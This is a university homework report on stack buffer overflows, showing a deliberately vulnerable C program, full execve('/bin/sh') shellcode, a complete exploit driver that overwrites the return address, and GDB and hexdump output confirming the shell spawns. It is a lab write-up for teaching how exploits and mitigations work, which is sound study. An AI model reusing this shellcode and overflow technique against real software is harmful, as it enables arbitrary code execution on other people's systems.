

ENPM691 Homework 05: Stack Buffer Overflow and Shellcode Exploitation

Nelay Sharma
University of Maryland
UID: 122295414
10/14/2025

Abstract—This homework demonstrates two instructional code-injection techniques on a 32-bit Linux program. The first technique involves overwriting the saved return address on the stack so execution jumps to injected shellcode (i.e., return-overwrite). The second technique places machine code in memory and executes it directly by casting its address to a function pointer (i.e., function pointer, return-to-stack alternate).

Both techniques are based on the ENPM691 Lecture 05 slides (i.e., slides 36, 46 to 57, 61 to 73) and are implemented in C using `ret.c`, a minimal vulnerable program; `fp.c`, a function-pointer demo case; and `exploit_pipe.c`, the exploit driver that builds, deploys, and delivers the payload via a pipe to the victim process.

The finalized results include payload hexdump, GDB memory/register dumps, and disassembly showing execution of `execve("/bin/sh")` shellcode. [3]

I. INTRODUCTION

The purpose of this homework is to demonstrate how the C call stack can be manipulated to execute injected machine code by reproducing two buffer-overflow (i.e. examples from ENPM691 Lecture 05). First, a return address overwrites redirects program execution to shell-code placed in a local buffer. Second, a function pointer (i.e., return-to-stack) method directly invokes the shell-code by casting a buffer address to a function pointer. These exercises illustrate the role of compiler/ABI layout in exploitation feasibility, and why mitigations' like stack canaries, NX, and ASLR are necessary. [1] [4] [5]

II. METHODOLOGY

A. Environment

All work was done in a Kali Linux virtual machine inside VMware Workstation Pro 17, with 80 GB of storage and 8 GB of memory. Compilation was performed with GCC 14.2.0 (Debian 14.2.0-1) in 32-bit mode using the `-m32` flag, and debugging/analysis was carried out with GDB 16.3. The architecture used was IA-32 (x86). Multilib support was installed to ensure successful `-m32` compilation. A dedicated directory named `hw5` (inside the Kali VM) was created to hold source code, compiled binaries, and analysis outputs. [4]

B. Programs

Three short C programs (i.e., `ret.c`, `fp.c`, `exploit_pipe.c`) were implemented to reproduce the two Lecture 05 attack examples (i.e., return-address overwrite and the function-pointer/return-to-stack technique); to ensure

consistent compliance flags and accurate reproducible builds across all three sources, a single Makefile (i.e., one canonical CFLAGS entry), so every binary is compiled identically with `-m32 -g -O0 -fno-stack-protector -z execstack -no-pie`; In addition, using a Makefile completely avoids copy-paste errors and guarantees the same build options (i.e., debug symbols, 32-bit configuration mode, disabled stack-canary mitigations, executable stack) for the victim program, function pointer program, and the executor driver; and makes rebuilding rebuilding easier with a single make command rather than repeating manual gcc invocations. [1]

```
gcc -m32 -g -O0 -fno-stack-protector -z execstack -no-pie ret.c -o ret
gcc -m32 -g -O0 -fno-stack-protector -z execstack -no-pie fp.c -o fp
gcc -m32 -g -O0 -fno-stack-protector -z execstack -no-pie exploit_pipe.c -o exploit_pipe
```

C. Artifacts

Artifacts collected for this assignment included:

- **Code:** `ret.c`, `fp.c`, `exploit_pipe.c`, and Makefile.
- **Build / Flags:** `gcc -m32 -g -O0 -fno-stack-protector -z execstack -no-pie` (used for all three builds).
- **Payload:** `payload.bin` and a hexdump (`xxd -g 1 -l 256 payload.bin`).
- **GDB transcript:** `gdb_capture.txt` with `p &buf, x/128bx, x/8bx <buf+128>, x/16i <buf>`, and `info registers`.
- **Disassembly:** `disasm_ret.txt` and `disasm_fp.txt` (from `objdump -d -M intel`).
- **Symbol/section data:** `nm_ret.txt` and `readelf_ret.txt`.
- **Runtime log:** `runtime_stdout.txt` showing program prompts and final behavior.

III. RESULTS

A. Program Execution

After building and running `./exploit_pipe 0xffffffffcd0 -dump`; The driver wrote `payload.bin`

and printed the dxdump excerpt (first 64 bytes, represented in a table). [1]

TABLE I
PAYLOAD HEXDUMP FROM ./EXPLOIT_PIPE <ADDR> -DUMP

Offset	Bytes (hex)	Note
00000000	31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50	start: shellcode
00000010	53 89 e1 99 b0 0b cd 80 41 41 41 41 41 41 41 41	shellcode end; padding
00000020	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	padding cont.
00000030	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	padding; saved-frame next

The first 23 bytes are the canonical `execve("/bin/sh")` (xor, pushes, mov, int 0x80), placed at the start of the buffer so the execution will land directly on the executable instructions. The long run of 0x41 ('A') bytes is padding that is used to fill the remainder of the 128-local buffer, resulting in an overflow into the saved-frame area; bytes beyond the first 128 (not shown) hold the overwritten saved EBP and the saved return address, which the exploit sets to the buffer's address so that when the function returns execution jumps into the injected shell-code.

B. Assembly Analysis

After running `ret < payload.bin` inside `gdb` and breaking at `vuln`, the `x/16i` disassembly at the buffer base `0xffffced0` shows (represented through a table).

TABLE II
DISASSEMBLY AT BUFFER BASE (EXAMPLE RUN: `x/16i 0xffffced0`)

Address	Mnemonic	Operands
0xffffced0	xor	%eax,%eax
0xffffced2	push	%eax
0xffffced3	push	\$0x68732f2f
0xffffced8	push	\$0x6e69622f
0xffffcedd	mov	%esp,%ebx
0xffffcedf	push	%eax
0xffffcee0	push	%ebx
0xffffcee1	mov	%esp,%ecx
0xffffcee3	cld	%N/A
0xffffcee4	mov	\$0xb,%al
0xffffcee6	int	\$0x80

NOTE: is a shortened version of the table.

This disassembly is the expected opcodes for `execve("/bin/sh")`. The code originates from ENPM691 Lecture 05 slides and is identical to the shellcode bytes used in the exploit. Runtime confirmation is provided by the GDB output showing the instruction pointer EIP, set to the buffer address and then save-frame fields overwritten as expected. [3] [1]

C. Debugger Output

The debugger checks were performed while the victim program (`ret.c`) was paused inside the `vuln` function after the executor driver delivered the payload. The checkpoints summarized below confirm the runtime address of the local buffer, show the buffer contents containing the shellcode and padding, identify saved-frame region (i.e., saved EBP and

saved RET), and demonstrate that after the vulnerable function returns the CPU begins executing at the buffer address when the saved RET is overwritten.

A diagnostic run wrote a recognizable filler ('D' / 0x44) to the saved-frame area and was used to validate offsets before constructing the final payload. [4]

TABLE III
DEBUGGER OUTPUTS FROM PAYLOAD EXECUTION (EXAMPLE RUN)

GDB command	Captured output
(gdb) p &buf	\$1 = (char[128]) 0xffffced0
(gdb) x/128bx 0xffffced0	0xffffced0: 31 c0 50 68 ...
(gdb) x/8bx 0xffffced0+128	0xffffcf50: 45 42 50 4a ...
(gdb) info registers	eip = 0xffffced0
(gdb) x/8bx 0xffffced0+128	cf50: 45 42 50 4a 44 44 ...

IV. DISCUSSION AND CONCLUSION

This homework demonstrates two classical stack-based exploitation methods, verifying that injected shellcode can execute when stack protections are disabled. In the return-overwrite case, the saved return address was replaced with the buffer address, redirecting program flow into the injected shellcode. In the function-pointer case, execution control was explicitly transferred to a buffer containing shellcode via a cast to a function pointer, confirming that arbitrary code execution is possible without corrupting the stack frame.

From a debugging and security standpoint, these cases highlight how the organization of stack memory, compiler behavior, and calling conventions enable or prevent exploitation. Observing the changes in EIP and memory contents within GDB provides clear evidence of how precise overwrites alter control flow. For example, suppose a network service copies untrusted input into a fixed-size stack buffer without bound checking. An attacker who controls that input can execute arbitrary code on the host or overwrite return addresses to escalate their user privileges.

In conclusion, this homework reinforces a fundamental principle of systems programming and computer security: understanding control flow and memory management at the assembly and runtime levels is essential for developing secure software and identifying potential weaknesses in legacy systems.

SPECIAL NOTE

GCC may emit a warning that "fgets writing 1024 bytes into a 128 byte buffer may overflow". This is intentional for the assignment to demonstrate a buffer overflow vulnerability, the warning does not explicitly affect the functionality. [4]

REFERENCES

- [1] ENPM691 Lecture 04, "Lecture 05: Procedure Calls and Buffer Overflows," 2025.
- [2] Linux Foundation, "Special Sections," in *Linux Standard Base Core Specification, Version 1.1*, 2001.
- [3] M. Kerrisk, "elf(5) — Executable and Linkable Format (ELF) file format," *Linux Man Pages*, man7.org, 2024.
- [4] Free Software Foundation, "Frame Layout," in *GCC Internals*, GNU Project, 2024. [Online].
- [5] B. W. Kernighan and D. M. Ritchie, *The C Programming Language*, 2nd ed. Prentice Hall, 1988.

APPENDIX A
MAIN SOURCE CODE: EXPLOIT_PIPE.C

```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>

/* ----- Slide 61-64: shellcode bytes (execve("/bin/sh")) ----- */
static const unsigned char shellcode[] =
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    "\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    "\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
/* ----- */

int main(int argc, char **argv) {
    /* ----- Args & slide 65-69 note ----- */
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <buf_addr_hex> [--dump]\nExample: %s 0xffffcd0 --dump\n", argv[0], argv[0]);
        return 1;
    }
    uint32_t buf_addr = (uint32_t)strtoul(argv[1], NULL, 0);
    /* ----- */

    /* ----- Slides 46-49, 56-57: payload layout ----- */
    const size_t BUF_SIZE = 128;
    const size_t shell_len = sizeof(shellcode) - 1;
    if (shell_len > BUF_SIZE) { fprintf(stderr, "Error: shellcode too big for buffer\n"); return 1; }
    const size_t pad_len = BUF_SIZE - shell_len;
    const size_t payload_len = shell_len + pad_len + 4 + 8 + 4 + 1;
    /* ----- */

    unsigned char *payload = malloc(payload_len);
    if (!payload) { perror("malloc"); return 1; }

    unsigned char *p = payload;
    memcpy(p, shellcode, shell_len); p += shell_len;
    memset(p, 'A', pad_len); p += pad_len;
    memcpy(p, "EBPJ", 4); p += 4;

    memset(p, 'D', 8); p += 8;
    /* ----- */

    p[0] = (unsigned char)(buf_addr & 0xff);
    p[1] = (unsigned char)((buf_addr >> 8) & 0xff);
    p[2] = (unsigned char)((buf_addr >> 16) & 0xff);
    p[3] = (unsigned char)((buf_addr >> 24) & 0xff);
    p += 4;

    *p = '\n';

    if (argc == 3 && strcmp(argv[2], "--dump") == 0) {
        FILE *f = fopen("payload.bin", "wb");
        if (!f) { perror("fopen"); free(payload); return 1; }
        if (fwrite(payload, 1, payload_len, f) != payload_len) { perror("fwrite"); fclose(f); free(payload); }
        fclose(f);
        printf("payload.bin written (%zu bytes)\n", payload_len);
        free(payload);
        return 0;
    }
    /* ----- */

    /* ----- Slide 36 / 73: deliver payload via pipe (parent --> child) ----- */
    int fds[2];
```

```

if (pipe(fds) == -1) { perror("pipe"); free(payload); return 1; }

pid_t pid = fork();
if (pid < 0) { perror("fork"); free(payload); return 1; }

if (pid == 0) {
    /* Child: replace stdin with pipe read end then execute vulnerable program (./ret) */
    close(fds[1]);
    if (dup2(fds[0], STDIN_FILENO) == -1) { perror("dup2"); _exit(1); }
    close(fds[0]);
    execl("./ret", "./ret", (char *)NULL);
    perror("execl"); _exit(1);
} else {
    /* Parent: write payload into pipe and finish */
    close(fds[0]);
    size_t left = payload_len;
    unsigned char *wp = payload;
    while (left) {
        ssize_t w = write(fds[1], wp, left);
        if (w <= 0) { perror("write"); break; }
        left -= (size_t)w;
        wp += w;
    }
    close(fds[1]);
    free(payload);
    waitpid(pid, NULL, 0);
    return 0;
}
/* ----- */
}

```

NOTE: There are two lines that are clipped in lines #19 and #55

```

fprintf(stderr, "Usage: %s <buf_addr_hex> [--dump]\nExample: %s 0xffffced0 --dump\n", argv[0],
argv[0]);

```

```

if (fwrite(payload, 1, payload_len, f) != payload_len) { perror("fwrite"); fclose(f); free(payload);
return 1; }

```

APPENDIX B

RET.C

```

/* ----- Slide 65: overwrite saved return address ----- */
#include <stdio.h>

void vuln(void) {
    char buf[128];
    if (fgets(buf, 1024, stdin) == NULL) return;
}

int main(void) {
    puts("ret: provide input (binary OK)");
    fflush(stdout);
    vuln();
    puts("ret: returned (or shell executed)");
    return 0;
}

```

APPENDIX C

FP.C

```

/* ----- Slide 72: cast buffer to function pointer and call it ----- */
#include <stdio.h>

int main(void) {
    unsigned char sc[] =
        "\x31\xc0" /* xor eax,eax */
}

```

```

"\x50"          /* push eax (NULL)          */
"\x68\x2f\x2f\x73\x68" /* push //sh          */
"\x68\x2f\x62\x69\x6e" /* push /bin          */
"\x89\xe3"      /* mov ebx,esp         */
"\x50"          /* push eax            */
"\x53"          /* push ebx            */
"\x89\xe1"      /* mov ecx,esp         */
"\x99"          /* cdq (edx = 0)       */
"\xb0\x0b"      /* mov al,0xb (execve) */
"\xcd\x80";      /* int 0x80            */

puts("fp: calling shellcode buffer via function-pointer cast (slide 72).");
fflush(stdout);
((void(*)())sc)();
puts("fp: returned (if shellcode returned)");
return 0;
}

```

APPENDIX D MAKEFILE

```

CC = gcc
CFLAGS = -m32 -g -fno-stack-protector -z execstack -no-pie

all: ret fp exploit_pipe

ret: ret.c
    $(CC) $(CFLAGS) ret.c -o ret

fp: fp.c
    $(CC) $(CFLAGS) fp.c -o fp

exploit_pipe: exploit_pipe.c
    $(CC) $(CFLAGS) exploit_pipe.c -o exploit_pipe

clean:
    rm -f ret fp exploit_pipe

```

APPENDIX E BUILD AND RUN COMMANDS

```

# Verification and debugging
make clean && make
sudo sysctl -w kernel.randomize_va_space=0
cat /proc/sys/kernel/randomize_va_space # confirm 0

./exploit_pipe 0xffffced0 --dump
ls -l payload.bin
xxd -g 1 -l 128 payload.bin

# Automated GDB capture
gdb ./ret -q \
    -ex "set pagination off" \
    -ex "set logging file gdb_capture.txt" \
    -ex "set logging enabled on" \
    -ex "break vuln" \
    -ex "run < payload.bin" \
    -ex "next" \
    -ex "p &buf" \
    -ex "x/128bx 0xffffced0" \
    -ex "x/8bx 0xffffced0+128" \
    -ex "x/16i 0xffffced0" \
    -ex "finish" \
    -ex "info registers" \
    -ex "x/16i $eip" \
    -ex "set logging enabled off" \
    -ex "quit"

```

APPENDIX F
PAYLOAD HEXDUMP (64 BYTES EXCERPT)

```
payload.bin written (145 bytes)
-rw-rw-r-- 1 kali kali 145 Oct 16 21:31 payload.bin
00000000: 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50  1.Ph//shh/bin..P
00000010: 53 89 e1 99 b0 0b cd 80 41 41 41 41 41 41 41 41  S.....AAAAAAA
00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAA
00000030: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAA
00000040: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAA
00000050: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAA
00000060: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAA
00000070: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAA
```

APPENDIX G
DISASSEMBLY AT BUFFER START (X/16i 0xFFFFCED0)

```
(gdb) x/16i 0xffffced0
0xffffced0: xor    %eax,%eax
0xffffced2: push   %eax
0xffffced3: push   $0x68732f2f
0xffffced8: push   $0x6e69622f
0xffffcedd: mov    %esp,%ebx
0xffffcedf: push   %eax
0xffffcee0: push   %ebx
0xffffcee1: mov    %esp,%ecx
0xffffcee3: cltd
0xffffcee4: mov    $0xb,%al
0xffffcee6: int    $0x80
```

APPENDIX H
BUFFER ADDRESS (VALUE OF BUF)

```
$1 = (char (*) [128]) 0xffffced0
```

APPENDIX I
SAVED EBP / RET REGION

```
0xffffcf50: 45 42 50 4a d0 ce ff ff
```

APPENDIX J
REGISTER STATE AFTER RETURN

eax	0xffffced0	(-12592)
ecx	0x0	
edx	0xf7f9d8ec	(-134620948)
ebx	0x44444444	(1145324612)
esp	0xffffcf60	
ebp	0x44444444	
esi	0x804befc	
edi	0xf7ffcb60	
eip	0xffffced0	
eflags	0x282	[SF IF]
cs	0x23	
ss	0x2b	
ds	0x2b	
es	0x2b	
fs	0x0	
gs	0x63	

APPENDIX K

ADDITIONAL DISASSEMBLY (PADDING/GARBAGE)

```
0xffffceed: inc    %ecx
0xffffceee: inc    %ecx
0xffffceef: inc    %ecx
0xffffcef0: inc    %ecx
0xffffcef1: inc    %ecx
0xffffcef2: inc    %ecx
0xffffcef3: inc    %ecx
0xffffcef4: inc    %ecx
0xffffcef5: inc    %ecx
0xffffcef6: inc    %ecx
0xffffcef7: inc    %ecx
0xffffcef8: inc    %ecx
0xffffcef9: inc    %ecx
0xffffcefa: inc    %ecx
0xffffcefb: inc    %ecx
0xffffcefc: inc    %ecx
```

APPENDIX L

BREAKPOINT AND MEMORY SNAPSHOT

Breakpoint 1, vuln () at ret.c:6

```
6      if (fgets(buf, 1024, stdin) == NULL) return;
```

```
$1 = (char (*) [128]) 0xffffced0
```

0xffffced0:	0x31	0xc0	0x50	0x68	0x2f	0x2f	0x73	0x68
0xffffced8:	0x68	0x2f	0x62	0x69	0x6e	0x89	0xe3	0x50
0xffffcee0:	0x53	0x89	0xe1	0x99	0xb0	0x0b	0xcd	0x80
0xffffcee8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcef0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcef8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcf00:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcf08:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcf10:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcf18:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcf20:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcf28:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcf30:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcf38:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcf40:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcf48:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcf50:	0x45	0x42	0x50	0x4a	0x44	0x44	0x44	0x44

APPENDIX M

COMPILER AND DEBUGGER FLAGS

```
CFLAGS = -m32 -g -O0 -fno-stack-protector -fno-omit-frame-pointer -z execstack -no-pie
```

- -m32: Compile for 32-bit IA-32 architecture.
- -g: Include debugging information for GDB.
- -O0: Disable compiler optimizations.
- -fno-stack-protector: Disable stack canaries so overflows are not detected at runtime.
- -fno-omit-frame-pointer: Preserve frame pointers for easier stack tracing.
- -z execstack: Mark the stack as executable so injected shellcode on the stack can run.
- -no-pie: Disable Position Independent Executable (PIE) to stabilize addresses.

APPENDIX N

FILES BUILD VERIFICATION

```
file ret fp exploit_pipe
```

```
ret:      ELF 32-bit LSB executable, Intel i386, ... with debug_info, not stripped
```

```
fp:       ELF 32-bit LSB executable, Intel i386, ... with debug_info, not stripped
```

```
exploit_pipe: ELF 32-bit LSB executable, Intel i386, ... with debug_info, not stripped
```